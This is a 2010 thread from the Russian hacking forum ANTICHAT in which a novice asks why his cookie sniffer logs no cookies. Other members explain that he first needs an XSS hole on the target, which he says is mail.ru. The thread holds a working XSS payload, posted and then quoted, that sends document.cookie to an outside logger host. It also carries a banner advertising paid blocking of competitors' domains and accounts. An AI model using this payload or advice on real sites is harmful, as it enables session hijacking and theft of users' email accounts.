куки — ANTICHAT Forum

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
куки

Страница 1 из 4

Опции темы

Поиск в этой теме

Опции просмотра

куки

09.03.2010, 18:06

гаррет-тень

Познающий

Регистрация: 21.12.2009

Сообщений: 34

С нами: 8625696

Репутация: 1

куки

09.03.2010 16:00:49 []
IP: 92.126.**.*** Real IP*: 92.126.**.***, 193.169.***.***

QUERY:

cck_count=0; cck_lasttime=1**8***641***

REFERER: empty
AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2) Gecko/20***115 Firefox/3.6 (.NET CLR 3.5.3***9) и где тут куки???

𝕏 Twitter Reddit Telegram Копировать ссылку

09.03.2010, 18:10

shuba

Постоянный

Регистрация: 22.05.2009

Сообщений: 514

С нами: 8932646

Репутация: 133

Нету

в куках по крайней мере мыло должно быть видно

09.03.2010, 18:14

root_sashok

Познавший АНТИЧАТ

Регистрация: 04.08.2008

Сообщений: 1,359

С нами: 9351139

Репутация: 1593

QUERY, собственно.

09.03.2010, 18:14

гаррет-тень

Познающий

Регистрация: 21.12.2009

Сообщений: 34

С нами: 8625696

Репутация: 1

вот именно, я подкидываю файл с таким содержанием <script>
img = new Image(); img.src = "http://httpz.ru/nphir8lxm1y.gif?"+document.cookie;
</script> И ГДЕ МОИ КУКИ????

09.03.2010, 20:20

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

Цитата:

Сообщение от гаррет-тень

этот файл нужно не подкинуть, а сделать так, чтоб
код

PHP код:


		
			
<script>

img = new Image(); img.src = "http://httpz.ru/nphir8lxm1y.gif?"+document.cookie;

</script>

чудесным образом был внедрён на сайт mail.ru (если тебя mail.ru интересует)

механизм внедрения такого кода называется "XSS"

Вот когда это условие будет выполнено - приступай к следующему этапу

09.03.2010, 18:15

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Цитата:

в куках по крайней мере мыло должно быть видно

ты не прав
повидимому вот это

Код:

cck_count=0; cck_lasttime=1**8***641***

09.03.2010, 18:18

гаррет-тень

Познающий

Регистрация: 21.12.2009

Сообщений: 34

С нами: 8625696

Репутация: 1

куки же длинные? по крайней мере те которые я видел

09.03.2010, 18:22

seofilms

Участник форума

Регистрация: 27.05.2009

Сообщений: 115

С нами: 8925319

Репутация: 97

Цитата:

и что ты планировал тут увидеть ??? у тебя запишется только Ip + в query надпись document.cookies;, тебе надо еще найти xss на сайте...

09.03.2010, 18:29

гаррет-тень

Познающий

Регистрация: 21.12.2009

Сообщений: 34

С нами: 8625696

Репутация: 1

Цитата:

Сообщение от seofilms

я видео смотрел и читал на мейле так ломают?

#10

09.03.2010, 18:23

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Цитата:

куки же длинные? по крайней мере те которые я видел

они любыми могут быть, посмотри как например работает функция setcookie() в php

Страница 1 из 4

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ввожу краденные куки в Mail и нифига!!! почему так?	Dr..VATSON	Болталка	21	11.01.2010 09:14